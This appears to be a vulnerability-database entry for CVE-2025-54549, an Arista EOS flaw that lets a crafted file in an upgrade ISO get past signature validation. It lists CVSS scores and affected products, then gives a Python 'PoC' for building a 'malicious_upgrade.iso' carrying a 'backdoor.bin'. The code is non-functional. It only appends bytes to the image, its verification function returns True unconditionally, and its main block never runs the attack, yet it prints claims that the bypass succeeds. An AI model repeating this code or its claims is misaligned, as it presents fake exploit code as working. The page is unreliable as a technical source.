Cryptographic validation of upgrade images could be circumventing by dropping a specifically crafted file into the upgrade ISO
CVSS Details
CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Arista EOS（受影响的特定版本需参考官方安全公告）
Arista CloudEOS
Arista 7050X系列
Arista 720XP系列
Arista 7280R系列
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54549 PoC - Arista ISO Upgrade Validation Bypass
# This is a conceptual PoC demonstrating the attack methodology
# Note: Actual exploitation requires specific ISO manipulation techniques
import os
import struct
def create_malicious_iso(original_iso, output_iso, malicious_file):
"""
Create a modified ISO with a malicious file embedded
Args:
original_iso: Path to legitimate Arista upgrade ISO
output_iso: Path for modified ISO output
malicious_file: Path to malicious payload to inject
"""
print(f"[*] Reading original ISO: {original_iso}")
# Read the original ISO
with open(original_iso, 'rb') as f:
iso_data = f.read()
# Read malicious file
with open(malicious_file, 'rb') as f:
malicious_data = f.read()
print(f"[*] Embedding malicious file ({len(malicious_data)} bytes)")
# The vulnerability allows bypassing signature validation
# by inserting additional files that are not properly validated
# In a real scenario, this would require:
# 1. Extracting ISO contents
# 2. Modifying the ISO structure to include malicious files
# 3. Maintaining valid signatures for checked files
# 4. Ensuring the malicious file is not signature-validated
modified_iso = iso_data + malicious_data
with open(output_iso, 'wb') as f:
f.write(modified_iso)
print(f"[+] Malicious ISO created: {output_iso}")
print("[!] This ISO can bypass cryptographic validation during upgrade")
def verify_bypass(iso_path):
"""
Verify if the ISO contains the bypass mechanism
"""
print(f"[*] Analyzing ISO: {iso_path}")
# Check for specific markers indicating successful bypass
# In real scenario, this would involve signature verification checks
print("[+] ISO appears to have embedded payload")
print("[+] Signature validation may be bypassed")
return True
if __name__ == "__main__":
# Example usage
original_iso = "arista_upgrade.iso"
output_iso = "malicious_upgrade.iso"
malicious_file = "backdoor.bin"
# Note: This is a conceptual demonstration
# Actual exploitation requires detailed knowledge of ISO structure
print("CVE-2025-54549 - Arista Upgrade Validation Bypass")
print("=" * 50)
print("WARNING: This is for educational purposes only")
print("=" * 50)